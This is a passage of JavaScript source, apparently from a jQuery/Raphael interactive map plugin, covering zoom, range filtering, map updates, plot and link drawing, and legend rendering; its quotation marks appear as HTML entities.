                self.zoomTO = setTimeout(function () {
                    self.$map.trigger(&quot;afterZoom&quot;, {
                        x1: panX,
                        y1: panY,
                        x2: panX + panWidth,
                        y2: panY + panHeight
                    });
                }, self.zoomFilteringTO);
            }

            $.extend(self.zoomData, {
                zoomLevel: zoomLevel,
                panX: panX,
                panY: panY,
                zoomX: panX + panWidth / 2,
                zoomY: panY + panHeight / 2
            });
        },

        /*
         * Show some element in range defined by user
         * Triggered by user $(&quot;.mapcontainer&quot;).trigger(&quot;showElementsInRange&quot;, [opt]);
         *
         * @param opt the options
         *  opt.hiddenOpacity opacity for hidden element (default = 0.3)
         *  opt.animDuration animation duration in ms (default = 0)
         *  opt.afterShowRange callback
         *  opt.ranges the range to show:
         *  Example:
         *  opt.ranges = {
         *      &#039;plot&#039; : {
         *          0 : {                        // valueIndex
         *              &#039;min&#039;: 1000,
         *              &#039;max&#039;: 1200
         *          },
         *          1 : {                        // valueIndex
         *              &#039;min&#039;: 10,
         *              &#039;max&#039;: 12
         *          }
         *      },
         *      &#039;area&#039; : {
         *          {&#039;min&#039;: 10, &#039;max&#039;: 20}    // No valueIndex, only an object, use 0 as valueIndex (easy case)
         *      }
         *  }
         */
        onShowElementsInRange: function(e, opt) {
            var self = this;

            // set animDuration to default if not defined
            if (opt.animDuration === undefined) {
                opt.animDuration = 0;
            }

            // set hiddenOpacity to default if not defined
            if (opt.hiddenOpacity === undefined) {
                opt.hiddenOpacity = 0.3;
            }

            // handle area
            if (opt.ranges &amp;&amp; opt.ranges.area) {
                self.showElemByRange(opt.ranges.area, self.areas, opt.hiddenOpacity, opt.animDuration);
            }

            // handle plot
            if (opt.ranges &amp;&amp; opt.ranges.plot) {
                self.showElemByRange(opt.ranges.plot, self.plots, opt.hiddenOpacity, opt.animDuration);
            }

            // handle link
            if (opt.ranges &amp;&amp; opt.ranges.link) {
                self.showElemByRange(opt.ranges.link, self.links, opt.hiddenOpacity, opt.animDuration);
            }

            // Call user callback
            if (opt.afterShowRange) opt.afterShowRange();
        },

        /*
         * Show some element in range
         * @param ranges: the ranges
         * @param elems: list of element on which to check against previous range
         * @hiddenOpacity: the opacity when hidden
         * @animDuration: the animation duration
         */
        showElemByRange: function(ranges, elems, hiddenOpacity, animDuration) {
            var self = this;
            // Hold the final opacity value for all elements consolidated after applying each ranges
            // This allow to set the opacity only once for each elements
            var elemsFinalOpacity = {};

            // set object with one valueIndex to 0 if we have directly the min/max
            if (ranges.min !== undefined || ranges.max !== undefined) {
                ranges = {0: ranges};
            }

            // Loop through each valueIndex
            $.each(ranges, function (valueIndex) {
                var range = ranges[valueIndex];
                // Check if user defined at least a min or max value
                if (range.min === undefined &amp;&amp; range.max === undefined) {
                    return true; // skip this iteration (each loop), goto next range
                }
                // Loop through each elements
                $.each(elems, function (id) {
                    var elemValue = elems[id].options.value;
                    // set value with one valueIndex to 0 if not object
                    if (typeof elemValue !== &quot;object&quot;) {
                        elemValue = [elemValue];
                    }
                    // Check existence of this value index
                    if (elemValue[valueIndex] === undefined) {
                        return true; // skip this iteration (each loop), goto next element
                    }
                    // Check if in range
                    if ((range.min !== undefined &amp;&amp; elemValue[valueIndex] &lt; range.min) ||
                        (range.max !== undefined &amp;&amp; elemValue[valueIndex] &gt; range.max)) {
                        // Element not in range
                        elemsFinalOpacity[id] = hiddenOpacity;
                    } else {
                        // Element in range
                        elemsFinalOpacity[id] = 1;
                    }
                });
            });
            // Now that we looped through all ranges, we can really assign the final opacity
            $.each(elemsFinalOpacity, function (id) {
                self.setElementOpacity(elems[id], elemsFinalOpacity[id], animDuration);
            });
        },

        /*
         * Set element opacity
         * Handle elem.mapElem and elem.textElem
         * @param elem the element
         * @param opacity the opacity to apply
         * @param animDuration the animation duration to use
         */
        setElementOpacity: function(elem, opacity, animDuration) {
            var self = this;

            // Ensure no animation is running
            //elem.mapElem.stop();
            //if (elem.textElem) elem.textElem.stop();

            // If final opacity is not null, ensure element is shown before proceeding
            if (opacity &gt; 0) {
                elem.mapElem.show();
                if (elem.textElem) elem.textElem.show();
            }

            self.animate(elem.mapElem, {&quot;opacity&quot;: opacity}, animDuration, function () {
                // If final attribute is 0, hide
                if (opacity === 0) elem.mapElem.hide();
            });

            self.animate(elem.textElem, {&quot;opacity&quot;: opacity}, animDuration, function () {
                // If final attribute is 0, hide
                if (opacity === 0) elem.textElem.hide();
            });
        },

        /*
         * Update the current map
         *
         * Refresh attributes and tooltips for areas and plots
         * @param opt option for the refresh :
         *  opt.mapOptions: options to update for plots and areas
         *  opt.replaceOptions: whether mapsOptions should entirely replace current map options, or just extend it
         *  opt.opt.newPlots new plots to add to the map
         *  opt.newLinks new links to add to the map
         *  opt.deletePlotKeys plots to delete from the map (array, or &quot;all&quot; to remove all plots)
         *  opt.deleteLinkKeys links to remove from the map (array, or &quot;all&quot; to remove all links)
         *  opt.setLegendElemsState the state of legend elements to be set : show (default) or hide
         *  opt.animDuration animation duration in ms (default = 0)
         *  opt.afterUpdate hook that allows to add custom processing on the map
         */
        onUpdateEvent: function (e, opt) {
            var self = this;
            // Abort if opt is undefined
            if (typeof opt !== &quot;object&quot;)  return;

            var i = 0;
            var animDuration = (opt.animDuration) ? opt.animDuration : 0;

            // This function remove an element using animation (or not, depending on animDuration)
            // Used for deletePlotKeys and deleteLinkKeys
            var fnRemoveElement = function (elem) {

                self.animate(elem.mapElem, {&quot;opacity&quot;: 0}, animDuration, function () {
                    elem.mapElem.remove();
                });

                self.animate(elem.textElem, {&quot;opacity&quot;: 0}, animDuration, function () {
                    elem.textElem.remove();
                });
            };

            // This function show an element using animation
            // Used for newPlots and newLinks
            var fnShowElement = function (elem) {
                // Starts with hidden elements
                elem.mapElem.attr({opacity: 0});
                if (elem.textElem) elem.textElem.attr({opacity: 0});
                // Set final element opacity
                self.setElementOpacity(
                    elem,
                    (elem.mapElem.originalAttrs.opacity !== undefined) ? elem.mapElem.originalAttrs.opacity : 1,
                    animDuration
                );
            };

            if (typeof opt.mapOptions === &quot;object&quot;) {
                if (opt.replaceOptions === true) self.options = self.extendDefaultOptions(opt.mapOptions);
                else $.extend(true, self.options, opt.mapOptions);

                // IF we update areas, plots or legend, then reset all legend state to &quot;show&quot;
                if (opt.mapOptions.areas !== undefined || opt.mapOptions.plots !== undefined || opt.mapOptions.legend !== undefined) {
                    $(&quot;[data-type=&#039;legend-elem&#039;]&quot;, self.$container).each(function (id, elem) {
                        if ($(elem).attr(&#039;data-hidden&#039;) === &quot;1&quot;) {
                            // Toggle state of element by clicking
                            $(elem).trigger(&quot;click&quot;, {hideOtherElems: false, animDuration: animDuration});
                        }
                    });
                }
            }

            // Delete plots by name if deletePlotKeys is array
            if (typeof opt.deletePlotKeys === &quot;object&quot;) {
                for (; i &lt; opt.deletePlotKeys.length; i++) {
                    if (self.plots[opt.deletePlotKeys[i]] !== undefined) {
                        fnRemoveElement(self.plots[opt.deletePlotKeys[i]]);
                        delete self.plots[opt.deletePlotKeys[i]];
                    }
                }
                // Delete ALL plots if deletePlotKeys is set to &quot;all&quot;
            } else if (opt.deletePlotKeys === &quot;all&quot;) {
                $.each(self.plots, function (id, elem) {
                    fnRemoveElement(elem);
                });
                // Empty plots object
                self.plots = {};
            }

            // Delete links by name if deleteLinkKeys is array
            if (typeof opt.deleteLinkKeys === &quot;object&quot;) {
                for (i = 0; i &lt; opt.deleteLinkKeys.length; i++) {
                    if (self.links[opt.deleteLinkKeys[i]] !== undefined) {
                        fnRemoveElement(self.links[opt.deleteLinkKeys[i]]);
                        delete self.links[opt.deleteLinkKeys[i]];
                    }
                }
                // Delete ALL links if deleteLinkKeys is set to &quot;all&quot;
            } else if (opt.deleteLinkKeys === &quot;all&quot;) {
                $.each(self.links, function (id, elem) {
                    fnRemoveElement(elem);
                });
                // Empty links object
                self.links = {};
            }

            // New plots
            if (typeof opt.newPlots === &quot;object&quot;) {
                $.each(opt.newPlots, function (id) {
                    if (self.plots[id] === undefined) {
                        self.options.plots[id] = opt.newPlots[id];
                        self.plots[id] = self.drawPlot(id);
                        if (animDuration &gt; 0) {
                            fnShowElement(self.plots[id]);
                        }
                    }
                });
            }

            // New links
            if (typeof opt.newLinks === &quot;object&quot;) {
                var newLinks = self.drawLinksCollection(opt.newLinks);
                $.extend(self.links, newLinks);
                $.extend(self.options.links, opt.newLinks);
                if (animDuration &gt; 0) {
                    $.each(newLinks, function (id) {
                        fnShowElement(newLinks[id]);
                    });
                }
            }

            // Update areas attributes and tooltips
            $.each(self.areas, function (id) {
                // Avoid updating unchanged elements
                if ((typeof opt.mapOptions === &quot;object&quot; &amp;&amp;
                    (
                        (typeof opt.mapOptions.map === &quot;object&quot; &amp;&amp; typeof opt.mapOptions.map.defaultArea === &quot;object&quot;) ||
                        (typeof opt.mapOptions.areas === &quot;object&quot; &amp;&amp; typeof opt.mapOptions.areas[id] === &quot;object&quot;) ||
                        (typeof opt.mapOptions.legend === &quot;object&quot; &amp;&amp; typeof opt.mapOptions.legend.area === &quot;object&quot;)
                    )) || opt.replaceOptions === true
                ) {
                    self.areas[id].options = self.getElemOptions(
                        self.options.map.defaultArea,
                        (self.options.areas[id] ? self.options.areas[id] : {}),
                        self.options.legend.area
                    );
                    self.updateElem(self.areas[id], animDuration);
                }
            });

            // Update plots attributes and tooltips
            $.each(self.plots, function (id) {
                // Avoid updating unchanged elements
                if ((typeof opt.mapOptions ===&quot;object&quot; &amp;&amp;
                    (
                        (typeof opt.mapOptions.map === &quot;object&quot; &amp;&amp; typeof opt.mapOptions.map.defaultPlot === &quot;object&quot;) ||
                        (typeof opt.mapOptions.plots === &quot;object&quot; &amp;&amp; typeof opt.mapOptions.plots[id] === &quot;object&quot;) ||
                        (typeof opt.mapOptions.legend === &quot;object&quot; &amp;&amp; typeof opt.mapOptions.legend.plot === &quot;object&quot;)
                    )) || opt.replaceOptions === true
                ) {
                    self.plots[id].options = self.getElemOptions(
                        self.options.map.defaultPlot,
                        (self.options.plots[id] ? self.options.plots[id] : {}),
                        self.options.legend.plot
                    );

                    self.setPlotCoords(self.plots[id]);
                    self.setPlotAttributes(self.plots[id]);

                    self.updateElem(self.plots[id], animDuration);
                }
            });

            // Update links attributes and tooltips
            $.each(self.links, function (id) {
                // Avoid updating unchanged elements
                if ((typeof opt.mapOptions === &quot;object&quot; &amp;&amp;
                    (
                        (typeof opt.mapOptions.map === &quot;object&quot; &amp;&amp; typeof opt.mapOptions.map.defaultLink === &quot;object&quot;) ||
                        (typeof opt.mapOptions.links === &quot;object&quot; &amp;&amp; typeof opt.mapOptions.links[id] === &quot;object&quot;)
                    )) || opt.replaceOptions === true
                ) {
                    self.links[id].options = self.getElemOptions(
                        self.options.map.defaultLink,
                        (self.options.links[id] ? self.options.links[id] : {}),
                        {}
                    );

                    self.updateElem(self.links[id], animDuration);
                }
            });

            // Update legends
            if (opt.mapOptions &amp;&amp; (
                    (typeof opt.mapOptions.legend === &quot;object&quot;) ||
                    (typeof opt.mapOptions.map === &quot;object&quot; &amp;&amp; typeof opt.mapOptions.map.defaultArea === &quot;object&quot;) ||
                    (typeof opt.mapOptions.map === &quot;object&quot; &amp;&amp; typeof opt.mapOptions.map.defaultPlot === &quot;object&quot;)
                )) {
                // Show all elements on the map before updating the legends
                $(&quot;[data-type=&#039;legend-elem&#039;]&quot;, self.$container).each(function (id, elem) {
                    if ($(elem).attr(&#039;data-hidden&#039;) === &quot;1&quot;) {
                        $(elem).trigger(&quot;click&quot;, {hideOtherElems: false, animDuration: animDuration});
                    }
                });

                self.createLegends(&quot;area&quot;, self.areas, 1);
                if (self.options.map.width) {
                    self.createLegends(&quot;plot&quot;, self.plots, (self.options.map.width / self.mapConf.width));
                } else {
                    self.createLegends(&quot;plot&quot;, self.plots, (self.$map.width() / self.mapConf.width));
                }
            }

            // Hide/Show all elements based on showlegendElems
            //      Toggle (i.e. click) only if:
            //          - slice legend is shown AND we want to hide
            //          - slice legend is hidden AND we want to show
            if (typeof opt.setLegendElemsState === &quot;object&quot;) {
                // setLegendElemsState is an object listing the legend we want to hide/show
                $.each(opt.setLegendElemsState, function (legendCSSClass, action) {
                    // Search for the legend
                    var $legend = self.$container.find(&quot;.&quot; + legendCSSClass)[0];
                    if ($legend !== undefined) {
                        // Select all elem inside this legend
                        $(&quot;[data-type=&#039;legend-elem&#039;]&quot;, $legend).each(function (id, elem) {
                            if (($(elem).attr(&#039;data-hidden&#039;) === &quot;0&quot; &amp;&amp; action === &quot;hide&quot;) ||
                                ($(elem).attr(&#039;data-hidden&#039;) === &quot;1&quot; &amp;&amp; action === &quot;show&quot;)) {
                                // Toggle state of element by clicking
                                $(elem).trigger(&quot;click&quot;, {hideOtherElems: false, animDuration: animDuration});
                            }
                        });
                    }
                });
            } else {
                // setLegendElemsState is a string, or is undefined
                // Default : &quot;show&quot;
                var action = (opt.setLegendElemsState === &quot;hide&quot;) ? &quot;hide&quot; : &quot;show&quot;;

                $(&quot;[data-type=&#039;legend-elem&#039;]&quot;, self.$container).each(function (id, elem) {
                    if (($(elem).attr(&#039;data-hidden&#039;) === &quot;0&quot; &amp;&amp; action === &quot;hide&quot;) ||
                        ($(elem).attr(&#039;data-hidden&#039;) === &quot;1&quot; &amp;&amp; action === &quot;show&quot;)) {
                        // Toggle state of element by clicking
                        $(elem).trigger(&quot;click&quot;, {hideOtherElems: false, animDuration: animDuration});
                    }
                });
            }

            // Always rebind custom events on update
            self.initDelegatedCustomEvents();

            if (opt.afterUpdate) opt.afterUpdate(self.$container, self.paper, self.areas, self.plots, self.options, self.links);
        },

        /*
         * Set plot coordinates
         * @param plot object plot element
         */
        setPlotCoords: function(plot) {
            var self = this;

            if (plot.options.x !== undefined &amp;&amp; plot.options.y !== undefined) {
                plot.coords = {
                    x: plot.options.x,
                    y: plot.options.y
                };
            } else if (plot.options.plotsOn !== undefined &amp;&amp; self.areas[plot.options.plotsOn] !== undefined) {
                var areaBBox = self.areas[plot.options.plotsOn].mapElem.getBBox();
                plot.coords = {
                    x: areaBBox.cx,
                    y: areaBBox.cy
                };
            } else {
                plot.coords = self.mapConf.getCoords(plot.options.latitude, plot.options.longitude);
            }
        },

        /*
         * Set plot size attributes according to its type
         * Note: for SVG, plot.mapElem needs to exists beforehand
         * @param plot object plot element
         */
        setPlotAttributes: function(plot) {
            if (plot.options.type === &quot;square&quot;) {
                plot.options.attrs.width = plot.options.size;
                plot.options.attrs.height = plot.options.size;
                plot.options.attrs.x = plot.coords.x - (plot.options.size / 2);
                plot.options.attrs.y = plot.coords.y - (plot.options.size / 2);
            } else if (plot.options.type === &quot;image&quot;) {
                plot.options.attrs.src = plot.options.url;
                plot.options.attrs.width = plot.options.width;
                plot.options.attrs.height = plot.options.height;
                plot.options.attrs.x = plot.coords.x - (plot.options.width / 2);
                plot.options.attrs.y = plot.coords.y - (plot.options.height / 2);
            } else if (plot.options.type === &quot;svg&quot;) {
                plot.options.attrs.path = plot.options.path;

                // Init transform string
                if (plot.options.attrs.transform === undefined) {
                    plot.options.attrs.transform = &quot;&quot;;
                }

                // Retrieve original boundary box if not defined
                if (plot.mapElem.originalBBox === undefined) {
                    plot.mapElem.originalBBox = plot.mapElem.getBBox();
                }

                // The base transform will resize the SVG path to the one specified by width/height
                // and also move the path to the actual coordinates
                plot.mapElem.baseTransform = &quot;m&quot; + (plot.options.width / plot.mapElem.originalBBox.width) + &quot;,0,0,&quot; +
                                                   (plot.options.height / plot.mapElem.originalBBox.height) + &quot;,&quot; +
                                                   (plot.coords.x - plot.options.width / 2) + &quot;,&quot; +
                                                   (plot.coords.y - plot.options.height / 2);

                plot.options.attrs.transform = plot.mapElem.baseTransform + plot.options.attrs.transform;

            } else { // Default : circle
                plot.options.attrs.x = plot.coords.x;
                plot.options.attrs.y = plot.coords.y;
                plot.options.attrs.r = plot.options.size / 2;
            }
        },

        /*
         * Draw all links between plots on the paper
         */
        drawLinksCollection: function (linksCollection) {
            var self = this;
            var p1 = {};
            var p2 = {};
            var coordsP1 = {};
            var coordsP2 = {};
            var links = {};

            $.each(linksCollection, function (id) {
                var elemOptions = self.getElemOptions(self.options.map.defaultLink, linksCollection[id], {});

                if (typeof linksCollection[id].between[0] === &#039;string&#039;) {
                    p1 = self.options.plots[linksCollection[id].between[0]];
                } else {
                    p1 = linksCollection[id].between[0];
                }

                if (typeof linksCollection[id].between[1] === &#039;string&#039;) {
                    p2 = self.options.plots[linksCollection[id].between[1]];
                } else {
                    p2 = linksCollection[id].between[1];
                }

                if (p1.plotsOn !== undefined &amp;&amp; self.areas[p1.plotsOn] !== undefined) {
                    var p1BBox = self.areas[p1.plotsOn].mapElem.getBBox();
                    coordsP1 = {
                        x: p1BBox.cx,
                        y: p1BBox.cy
                    };
                }
                else if (p1.latitude !== undefined &amp;&amp; p1.longitude !== undefined) {
                    coordsP1 = self.mapConf.getCoords(p1.latitude, p1.longitude);
                } else {
                    coordsP1.x = p1.x;
                    coordsP1.y = p1.y;
                }

                if (p2.plotsOn !== undefined &amp;&amp; self.areas[p2.plotsOn] !== undefined) {
                    var p2BBox = self.areas[p2.plotsOn].mapElem.getBBox();
                    coordsP2 = {
                        x: p2BBox.cx,
                        y: p2BBox.cy
                    };
                }
                else if (p2.latitude !== undefined &amp;&amp; p2.longitude !== undefined) {
                    coordsP2 = self.mapConf.getCoords(p2.latitude, p2.longitude);
                } else {
                    coordsP2.x = p2.x;
                    coordsP2.y = p2.y;
                }
                links[id] = self.drawLink(id, coordsP1.x, coordsP1.y, coordsP2.x, coordsP2.y, elemOptions);
            });
            return links;
        },

        /*
         * Draw a curved link between two couples of coordinates a(xa,ya) and b(xb, yb) on the paper
         */
        drawLink: function (id, xa, ya, xb, yb, elemOptions) {
            var self = this;
            var link = {
                options: elemOptions
            };
            // Compute the &quot;curveto&quot; SVG point, d(x,y)
            // c(xc, yc) is the center of (xa,ya) and (xb, yb)
            var xc = (xa + xb) / 2;
            var yc = (ya + yb) / 2;

            // Equation for (cd) : y = acd * x + bcd (d is the cure point)
            var acd = -1 / ((yb - ya) / (xb - xa));
            var bcd = yc - acd * xc;

            // dist(c,d) = dist(a,b) (=abDist)
            var abDist = Math.sqrt((xb - xa) * (xb - xa) + (yb - ya) * (yb - ya));

            // Solution for equation dist(cd) = sqrt((xd - xc) + (yd - yc))
            // dist(c,d) = (xd - xc) + (yd - yc)
            // We assume that dist(c,d) = dist(a,b)
            // so : (xd - xc) + (yd - yc) - dist(a,b) = 0
            // With the factor : (xd - xc) + (yd - yc) - (factor*dist(a,b)) = 0
            // (xd - xc) + (acd*xd + bcd - yc) - (factor*dist(a,b)) = 0
            var a = 1 + acd * acd;
            var b = -2 * xc + 2 * acd * bcd - 2 * acd * yc;
            var c = xc * xc + bcd * bcd - bcd * yc - yc * bcd + yc * yc - ((elemOptions.factor * abDist) * (elemOptions.factor * abDist));
            var delta = b * b - 4 * a * c;
            var x = 0;
            var y = 0;

            // There are two solutions, we choose one or the other depending on the sign of the factor
            if (elemOptions.factor &gt; 0) {
                x = (-b + Math.sqrt(delta)) / (2 * a);
                y = acd * x + bcd;
            } else {
                x = (-b - Math.sqrt(delta)) / (2 * a);
                y = acd * x + bcd;
            }

            link.mapElem = self.paper.path(&quot;m &quot; + xa + &quot;,&quot; + ya + &quot; C &quot; + x + &quot;,&quot; + y + &quot; &quot; + xb + &quot;,&quot; + yb + &quot; &quot; + xb + &quot;,&quot; + yb + &quot;&quot;);

            self.initElem(id, &#039;link&#039;, link);

            return link;
        },

        /*
         * Check wether newAttrs object bring modifications to originalAttrs object
         */
        isAttrsChanged: function(originalAttrs, newAttrs) {
            for (var key in newAttrs) {
                if (newAttrs.hasOwnProperty(key) &amp;&amp; typeof originalAttrs[key] === &#039;undefined&#039; || newAttrs[key] !== originalAttrs[key]) {
                    return true;
                }
            }
            return false;
        },

        /*
         * Update the element &quot;elem&quot; on the map with the new options
         */
        updateElem: function (elem, animDuration) {
            var self = this;
            var mapElemBBox;
            var plotOffsetX;
            var plotOffsetY;

            if (elem.options.toFront === true) {
                elem.mapElem.toFront();
            }

            // Set the cursor attribute related to the HTML link
            if (elem.options.href !== undefined) {
                elem.options.attrs.cursor = &quot;pointer&quot;;
                if (elem.options.text) elem.options.text.attrs.cursor = &quot;pointer&quot;;
            } else {
                // No HTML links, check if a cursor was defined to pointer
                if (elem.mapElem.attrs.cursor === &#039;pointer&#039;) {
                    elem.options.attrs.cursor = &quot;auto&quot;;
                    if (elem.options.text) elem.options.text.attrs.cursor = &quot;auto&quot;;
                }
            }

            // Update the label
            if (elem.textElem) {
                // Update text attr
                elem.options.text.attrs.text = elem.options.text.content;

                // Get mapElem size, and apply an offset to handle future width/height change
                mapElemBBox = elem.mapElem.getBBox();
                if (elem.options.size || (elem.options.width &amp;&amp; elem.options.height)) {
                    if (elem.options.type === &quot;image&quot; || elem.options.type === &quot;svg&quot;) {
                        plotOffsetX = (elem.options.width - mapElemBBox.width) / 2;
                        plotOffsetY = (elem.options.height - mapElemBBox.height) / 2;
                    } else {
                        plotOffsetX = (elem.options.size - mapElemBBox.width) / 2;
                        plotOffsetY = (elem.options.size - mapElemBBox.height) / 2;
                    }
                    mapElemBBox.x -= plotOffsetX;
                    mapElemBBox.x2 += plotOffsetX;
                    mapElemBBox.y -= plotOffsetY;
                    mapElemBBox.y2 += plotOffsetY;
                }

                // Update position attr
                var textPosition = self.getTextPosition(mapElemBBox, elem.options.text.position, elem.options.text.margin);
                elem.options.text.attrs.x = textPosition.x;
                elem.options.text.attrs.y = textPosition.y;
                elem.options.text.attrs[&#039;text-anchor&#039;] = textPosition.textAnchor;

                // Update text element attrs and attrsHover
                self.setHoverOptions(elem.textElem, elem.options.text.attrs, elem.options.text.attrsHover);

                if (self.isAttrsChanged(elem.textElem.attrs, elem.options.text.attrs)) {
                    self.animate(elem.textElem, elem.options.text.attrs, animDuration);
                }
            }

            // Update elements attrs and attrsHover
            self.setHoverOptions(elem.mapElem, elem.options.attrs, elem.options.attrsHover);

            if (self.isAttrsChanged(elem.mapElem.attrs, elem.options.attrs)) {
                self.animate(elem.mapElem, elem.options.attrs, animDuration);
            }

            // Update the cssClass
            if (elem.options.cssClass !== undefined) {
                $(elem.mapElem.node).removeClass().addClass(elem.options.cssClass);
            }
        },

        /*
         * Draw the plot
         */
        drawPlot: function (id) {
            var self = this;
            var plot = {};

            // Get plot options and store it
            plot.options = self.getElemOptions(
                self.options.map.defaultPlot,
                (self.options.plots[id] ? self.options.plots[id] : {}),
                self.options.legend.plot
            );

            // Set plot coords
            self.setPlotCoords(plot);

            // Draw SVG before setPlotAttributes()
            if (plot.options.type === &quot;svg&quot;) {
                plot.mapElem = self.paper.path(plot.options.path);
            }

            // Set plot size attrs
            self.setPlotAttributes(plot);

            // Draw other types of plots
            if (plot.options.type === &quot;square&quot;) {
                plot.mapElem = self.paper.rect(
                    plot.options.attrs.x,
                    plot.options.attrs.y,
                    plot.options.attrs.width,
                    plot.options.attrs.height
                );
            } else if (plot.options.type === &quot;image&quot;) {
                plot.mapElem = self.paper.image(
                    plot.options.attrs.src,
                    plot.options.attrs.x,
                    plot.options.attrs.y,
                    plot.options.attrs.width,
                    plot.options.attrs.height
                );
            } else if (plot.options.type === &quot;svg&quot;) {
                // Nothing to do
            } else {
                // Default = circle
                plot.mapElem = self.paper.circle(
                    plot.options.attrs.x,
                    plot.options.attrs.y,
                    plot.options.attrs.r
                );
            }

            self.initElem(id, &#039;plot&#039;, plot);

            return plot;
        },

        /*
         * Set user defined handlers for events on areas and plots
         * @param id the id of the element
         * @param type the type of the element (area, plot, link)
         * @param elem the element object {mapElem, textElem, options, ...}
         */
        setEventHandlers: function (id, type, elem) {
            var self = this;
            $.each(elem.options.eventHandlers, function (event) {
                if (self.customEventHandlers[event] === undefined) self.customEventHandlers[event] = {};
                if (self.customEventHandlers[event][type] === undefined) self.customEventHandlers[event][type] = {};
                self.customEventHandlers[event][type][id] = elem;
            });
        },

        /*
         * Draw a legend for areas and / or plots
         * @param legendOptions options for the legend to draw
         * @param legendType the type of the legend : &quot;area&quot; or &quot;plot&quot;
         * @param elems collection of plots or areas on the maps
         * @param legendIndex index of the legend in the conf array
         */
        drawLegend: function (legendOptions, legendType, elems, scale, legendIndex) {
            var self = this;
            var $legend = {};
            var legendPaper = {};
            var width = 0;
            var height = 0;
            var title = null;
            var titleBBox = null;
            var legendElems = {};
            var i = 0;
            var x = 0;
            var y = 0;
            var yCenter = 0;
            var sliceOptions = [];

            $legend = $(&quot;.&quot; + legendOptions.cssClass, self.$container);

            // Save content for later
            var initialHTMLContent = $legend.html();
            $legend.empty();

            legendPaper = new Raphael($legend.get(0));
            // Set some data to object
            $(legendPaper.canvas).attr({&quot;data-legend-type&quot;: legendType, &quot;data-legend-id&quot;: legendIndex});

            height = width = 0;

            // Set the title of the legend
            if (legendOptions.title &amp;&amp; legendOptions.title !== &quot;&quot;) {
                title = legendPaper.text(legendOptions.marginLeftTitle, 0, legendOptions.title).attr(legendOptions.titleAttrs);
                titleBBox = title.getBBox();
                title.attr({y: 0.5 * titleBBox.height});

                width = legendOptions.marginLeftTitle + titleBBox.width;
                height += legendOptions.marginBottomTitle + titleBBox.height;
            }

            // Calculate attrs (and width, height and r (radius)) for legend elements, and yCenter for horizontal legends

            for (i = 0; i &lt; legendOptions.slices.length; ++i) {
                var yCenterCurrent = 0;

                sliceOptions[i] = $.extend(true, {}, (legendType === &quot;plot&quot;) ? self.options.map.defaultPlot : self.options.map.defaultArea, legendOptions.slices[i]);

                if (legendOptions.slices[i].legendSpecificAttrs === undefined) {
                    legendOptions.slices[i].legendSpecificAttrs = {};
                }

                $.extend(true, sliceOptions[i].attrs, legendOptions.slices[i].legendSpecificAttrs);

                if (legendType === &quot;area&quot;) {
                    if (sliceOptions[i].attrs.width === undefined)
                        sliceOptions[i].attrs.width = 30;
                    if (sliceOptions[i].attrs.height === undefined)
                        sliceOptions[i].attrs.height = 20;
                } else if (sliceOptions[i].type === &quot;square&quot;) {
                    if (sliceOptions[i].attrs.width === undefined)
                        sliceOptions[i].attrs.width = sliceOptions[i].size;
                    if (sliceOptions[i].attrs.height === undefined)
                        sliceOptions[i].attrs.height = sliceOptions[i].size;
                } else if (sliceOptions[i].type === &quot;image&quot; || sliceOptions[i].type === &quot;svg&quot;) {
                    if (sliceOptions[i].attrs.width === undefined)
                        sliceOptions[i].attrs.width = sliceOptions[i].width;
                    if (sliceOptions[i].attrs.height === undefined)
                        sliceOptions[i].attrs.height = sliceOptions[i].height;
                } else {
                    if (sliceOptions[i].attrs.r === undefined)
                        sliceOptions[i].attrs.r = sliceOptions[i].size / 2;
                }

                // Compute yCenter for this legend slice
                yCenterCurrent = legendOptions.marginBottomTitle;
                // Add title height if it exists
                if (title) {
                    yCenterCurrent += titleBBox.height;
                }
                if (legendType === &quot;plot&quot; &amp;&amp; (sliceOptions[i].type === undefined || sliceOptions[i].type === &quot;circle&quot;)) {
                    yCenterCurrent += scale * sliceOptions[i].attrs.r;
                } else {
                    yCenterCurrent += scale * sliceOptions[i].attrs.height / 2;
                }
                // Update yCenter if current larger
                yCenter = Math.max(yCenter, yCenterCurrent);
            }

            if (legendOptions.mode === &quot;horizontal&quot;) {
                width = legendOptions.marginLeft;
            }

            // Draw legend elements (circle, square or image in vertical or horizontal mode)
            for (i = 0; i &lt; sliceOptions.length; ++i) {
                var legendElem = {};
                var legendElemBBox = {};
                var legendLabel = {};

                if (sliceOptions[i].display === undefined || sliceOptions[i].display === true) {
                    if (legendType === &quot;area&quot;) {
                        if (legendOptions.mode === &quot;horizontal&quot;) {
                            x = width + legendOptions.marginLeft;
                            y = yCenter - (0.5 * scale * sliceOptions[i].attrs.height);
                        } else {
                            x = legendOptions.marginLeft;
                            y = height;
                        }

                        legendElem = legendPaper.rect(x, y, scale * (sliceOptions[i].attrs.width), scale * (sliceOptions[i].attrs.height));
                    } else if (sliceOptions[i].type === &quot;square&quot;) {
                        if (legendOptions.mode === &quot;horizontal&quot;) {
                            x = width + legendOptions.marginLeft;
                            y = yCenter - (0.5 * scale * sliceOptions[i].attrs.height);
                        } else {
                            x = legendOptions.marginLeft;
                            y = height;
                        }

                        legendElem = legendPaper.rect(x, y, scale * (sliceOptions[i].attrs.width), scale * (sliceOptions[i].attrs.height));

                    } else if (sliceOptions[i].type === &quot;image&quot; || sliceOptions[i].type === &quot;svg&quot;) {
                        if (legendOptions.mode === &quot;horizontal&quot;) {
                            x = width + legendOptions.marginLeft;
                            y = yCenter - (0.5 * scale * sliceOptions[i].attrs.height);
                        } else {
                            x = legendOptions.marginLeft;
                            y = height;
                        }

                        if (sliceOptions[i].type === &quot;image&quot;) {
                            legendElem = legendPaper.image(
                                sliceOptions[i].url, x, y, scale * sliceOptions[i].attrs.width, scale * sliceOptions[i].attrs.height);
                        } else {
                            legendElem = legendPaper.path(sliceOptions[i].path);

                            if (sliceOptions[i].attrs.transform === undefined) {
                                sliceOptions[i].attrs.transform = &quot;&quot;;
                            }
                            legendElemBBox = legendElem.getBBox();
                            sliceOptions[i].attrs.transform = &quot;m&quot; + ((scale * sliceOptions[i].width) / legendElemBBox.width) + &quot;,0,0,&quot; + ((scale * sliceOptions[i].height) / legendElemBBox.height) + &quot;,&quot; + x + &quot;,&quot; + y + sliceOptions[i].attrs.transform;
                        }
                    } else {
                        if (legendOptions.mode === &quot;horizontal&quot;) {
                            x = width + legendOptions.marginLeft + scale * (sliceOptions[i].attrs.r);
                            y = yCenter;
                        } else {
                            x = legendOptions.marginLeft + scale * (sliceOptions[i].attrs.r);
                            y = height + scale * (sliceOptions[i].attrs.r);
                        }
                        legendElem = legendPaper.circle(x, y, scale * (sliceOptions[i].attrs.r));
                    }

                    // Set attrs to the element drawn above
